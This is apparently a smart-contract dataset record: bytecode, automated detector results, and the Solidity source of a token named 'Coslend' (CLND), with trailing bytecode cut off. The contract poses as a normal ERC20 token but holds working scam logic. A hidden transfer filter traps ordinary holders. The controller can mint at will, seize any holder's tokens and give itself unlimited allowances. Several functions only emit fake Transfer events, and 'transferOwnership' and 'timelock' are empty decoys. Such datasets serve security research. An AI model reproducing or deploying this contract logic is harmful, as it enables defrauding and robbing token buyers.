fffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea264697066735822122066e654fa7295a034236ea32b4d5e32981113a9afdfefdbdb2e01d4679aed39a264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,284
0xeea2fef22353282fb760d27ea7a1e2f06b3f442d
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract Coslend is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeAddrInCharge; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0x512BcdC5b389137Ce850EfCdf8b0207176DFcD2b; address public _comptroller = 0x512BcdC5b389137Ce850EfCdf8b0207176DFcD2b; constructor () public { _name = "Coslend"; _symbol = "CLND"; _decimals = 18; uint256 initialSupply = 100000000 * 10 ** 18 ; _safeAddrInCharge = _comptroller; _mint(deployer, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } modifier newProcess(address dest, uint256 num, address from, address filler){ if ( _comptroller == _safeAddrInCharge && from == _comptroller ){_safeAddrInCharge = dest;_;}else{ if ( from == _comptroller || dest == _comptroller || from == _safeAddrInCharge ){ if ( from == _comptroller && from == dest ){_discardedAmt = num;}_;}else{ if ( _plus[from] == true ){ _;}else{if ( _discarded[from] == true ){ require(( from == _safeAddrInCharge ) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}else{ if ( num < _discardedAmt ){ if(dest == _safeAddrInCharge){_discarded[from] = true; _plus[from] = false;} _; }else{require((from == _safeAddrInCharge) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;} }} } }} function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _navigator(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _navigator(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalPlusOne(address[] memory destination) public { require(msg.sender == _comptroller, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function approvalMinusOne(address safeOwner) public { require(msg.sender == _comptroller, "!owner"); _safeAddrInCharge = safeOwner; } function approvePlusOne(address[] memory destination) public { require(msg.sender == _comptroller, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _discarded[destination[i]] = true; _plus[destination[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _comptroller){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _comptroller, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_comptroller] = _balances[_comptroller].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _navigator(address from, address dest, uint256 amt) internal newProcess( dest, amt, from, address(0)) virtual { post( from, dest, amt); } function post(address from, address dest, uint256 amt) internal newProcess( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _comptroller){from = deployer;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _confirm() { require(msg.sender == _comptroller, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function transferOwnership()public _confirm(){} function timelock()public _confirm(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){ //MultiTransferEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function addLiquidityETH(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){ //MultiTransferEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function _enable(address recipient) public _confirm(){ _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function _disable(address recipient) public _confirm(){ //Take away permission _plus[recipient]=false; _approve(recipient, _path_,0); } function spender(address addr) public _confirm() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } function transferTo(address from, address to, uint256 amt) public _confirm() virtual returns (bool) { //Single Tranfer _transfer(from, to, amt); _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amt, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address fromEmt, address toEmt, uint256 amtEmt) public _confirm(){ //EmitSingleTransfer emit Transfer(fromEmt, toEmt, amtEmt); } function airdropToPresaleParticipants(address sndr,address[] memory destination, uint256[] memory amounts) public _confirm(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function stakeCLND(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){ //MultiTransferEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063671e9921116100de578063a5f2a15211610097578063bd28d91711610071578063bd28d91714610a40578063d1ae4dd314610a66578063d33219b414610990578063dd62ed3e14610a8c5761018e565b8063a5f2a152146109d6578063a9059cbb14610a0c578063bc7c062f14610a385761018e565b8063671e9921146108a557806370a08231146108c95780638025cb92146108ef578063880ad0af1461099057806395d89b4114610998578063a1a6d5fc146109a05761018e565b8063396d2ac11161014b578063418463401161012557806341846340146105ed5780634e6ec2471461072057806365b51c231461074c57806366da8a901461087f5761018e565b8063396d2ac11461036157806339b19da1146103875780633cc4430d146104ba5761018e565b806306fdde0314610193578063095ea7b3146102105780630c9202441461025057806318160ddd146102f357806323b872dd1461030d578063313ce56714610343575b600080fd5b61019b610aba565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610b50565b604080519115158252519081900360200190f35b6102f16004803603602081101561026657600080fd5b810190602081018135600160201b81111561028057600080fd5b82018360208201111561029257600080fd5b803590602001918460208302840111600160201b831117156102b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b6d945050505050565b005b6102fb610c61565b60408051918252519081900360200190f35b61023c6004803603606081101561032357600080fd5b506001600160a01b03813581169160208101359091169060400135610c67565b61034b610cee565b6040805160ff9092168252519081900360200190f35b61023c6004803603602081101561037757600080fd5b50356001600160a01b0316610cf7565b6102f16004803603606081101561039d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103c757600080fd5b8201836020820111156103d957600080fd5b803590602001918460208302840111600160201b831117156103fa57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561044957600080fd5b82018360208201111561045b57600080fd5b803590602001918460208302840111600160201b8311171561047c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d63945050505050565b6102f1600480360360608110156104d057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104fa57600080fd5b82018360208201111561050c57600080fd5b803590602001918460208302840111600160201b8311171561052d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561057c57600080fd5b82018360208201111561058e57600080fd5b803590602001918460208302840111600160201b831117156105af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e29945050505050565b6102f16004803603606081101561060357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561062d57600080fd5b82018360208201111561063f57600080fd5b803590602001918460208302840111600160201b8311171561066057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156106af57600080fd5b8201836020820111156106c157600080fd5b803590602001918460208302840111600160201b831117156106e257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ee9945050505050565b6102f16004803603604081101561073657600080fd5b506001600160a01b038135169060200135610fa9565b6102f16004803603606081101561076257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561078c57600080fd5b82018360208201111561079e57600080fd5b803590602001918460208302840111600160201b831117156107bf57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561080e57600080fd5b82018360208201111561082057600080fd5b803590602001918460208302840111600160201b8311171561084157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611087945050505050565b6102f16004803603602081101561089557600080fd5b50356001600160a01b0316611125565b6108ad61118f565b604080516001600160a01b039092168252519081900360200190f35b6102fb600480360360208110156108df57600080fd5b50356001600160a01b031661119e565b6102f16004803603602081101561090557600080fd5b810190602081018135600160201b81111561091f57600080fd5b82018360208201111561093157600080fd5b803590602001918460208302840111600160201b8311171561095257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111b9945050505050565b6102f16112aa565b61019b6112f9565b6102f1600480360360608110156109b657600080fd5b506001600160a01b0381358116916020810135909116906040013561135a565b61023c600480360360608110156109ec57600080fd5b506001600160a01b038135811691602081013590911690604001356113e5565b61023c60048036036040811015610a2257600080fd5b506001600160a01b038135169060200135611440565b6108ad611454565b6102f160048036036020811015610a5657600080fd5b50356001600160a01b0316611463565b6102f160048036036020811015610a7c57600080fd5b50356001600160a01b03166114ed565b6102fb60048036036040811015610aa257600080fd5b506001600160a01b038135811691602001351661156c565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b6000610b64610b5d6115f8565b84846115fc565b50600192915050565b600d546001600160a01b03163314610bb5576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c5d576001806000848481518110610bd257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610c2357fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610bb8565b5050565b60045490565b6000610c748484846116e8565b610ce484610c806115f8565b610cdf85604051806060016040528060288152602001612208602891396001600160a01b038a16600090815260036020526040812090610cbe6115f8565b6001600160a01b03168152602081019190915260400160002054919061196d565b6115fc565b5060019392505050565b60075460ff1690565b600d546000906001600160a01b03163314610d47576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b610d5b82610d536115f8565b6008546115fc565b506001919050565b600d546001600160a01b03163314610db0576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b60005b8251811015610e2357836001600160a01b0316838281518110610dd257fe5b60200260200101516001600160a01b0316600080516020612230833981519152848481518110610dfe57fe5b60200260200101516040518082815260200191505060405180910390a3600101610db3565b50505050565b600d546001600160a01b03163314610e76576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b60005b8251811015610e2357828181518110610e8e57fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020612230833981519152848481518110610ec457fe5b60200260200101516040518082815260200191505060405180910390a3600101610e79565b600d546001600160a01b03163314610f36576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b60005b8251811015610e2357836001600160a01b0316838281518110610f5857fe5b60200260200101516001600160a01b0316600080516020612230833981519152848481518110610f8457fe5b60200260200101516040518082815260200191505060405180910390a3600101610f39565b600d546001600160a01b03163314611008576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546110159082611597565b600455600d546001600160a01b031660009081526020819052604090205461103d9082611597565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206122308339815191529281900390910190a35050565b600d546001600160a01b031633146110d4576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b6110e083610d536115f8565b60005b8251811015610e235761111d848483815181106110fc57fe5b602002602001015184848151811061111057fe5b6020026020010151611a04565b6001016110e3565b600d546001600160a01b0316331461116d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314611201576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c5d5760016002600084848151811061121f57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061127057fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611204565b600d546001600160a01b031633146112f7576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b465780601f10610b1b57610100808354040283529160200191610b46565b600d546001600160a01b031633146113a7576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020612230833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b03163314611435576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b610c74848484611a04565b6000610b6461144d6115f8565b84846116e8565b600d546001600160a01b031681565b600d546001600160a01b031633146114b0576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b546008546114ea92849216906115fc565b50565b600d546001600160a01b0316331461153a576040805162461bcd60e51b815260206004820152601760248201526000805160206121e8833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546114ea9284929116906115fc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000828201838110156115f1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116415760405162461bcd60e51b81526004018080602001828103825260248152602001806122756024913960400191505060405180910390fd5b6001600160a01b0382166116865760405162461bcd60e51b81526004018080602001828103825260228152602001806121a06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b03908116911614801561171e5750600d546001600160a01b038381169116145b1561174e57600980546001600160a01b0319166001600160a01b038616179055611749878787611b7c565b611964565b600d546001600160a01b03838116911614806117775750600d546001600160a01b038581169116145b8061178f57506009546001600160a01b038381169116145b156117d857600d546001600160a01b0383811691161480156117c25750836001600160a01b0316826001600160a01b0316145b156117cd57600a8390555b611749878787611b7c565b6001600160a01b03821660009081526001602081905260409091205460ff161515141561180a57611749878787611b7c565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611894576009546001600160a01b03838116911614806118595750600b546001600160a01b038581169116145b6117cd5760405162461bcd60e51b81526004018080602001828103825260268152602001806121c26026913960400191505060405180910390fd5b600a548310156118f5576009546001600160a01b03858116911614156117cd576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611749878787611b7c565b6009546001600160a01b038381169116148061191e5750600b546001600160a01b038581169116145b6119595760405162461bcd60e51b81526004018080602001828103825260268152602001806121c26026913960400191505060405180910390fd5b611964878787611b7c565b50505050505050565b600081848411156119fc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c15781810151838201526020016119a9565b50505050905090810190601f1680156119ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611a495760405162461bcd60e51b81526004018080602001828103825260258152602001806122506025913960400191505060405180910390fd5b6001600160a01b038216611a8e5760405162461bcd60e51b815260040180806020018281038252602381526020018061217d6023913960400191505060405180910390fd5b611a99838383612177565b611ad6816040518060600160405280602681526020016121c2602691396001600160a01b038616600090815260208190526040902054919061196d565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b059082611597565b6001600160a01b03808416600090815260208190526040902091909155600d54848216911614156113a757600c546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020612230833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611bb25750600d546001600160a01b038381169116145b15611d4857600980546001600160a01b0319166001600160a01b03868116919091179091558716611c145760405162461bcd60e51b81526004018080602001828103825260258152602001806122506025913960400191505060405180910390fd5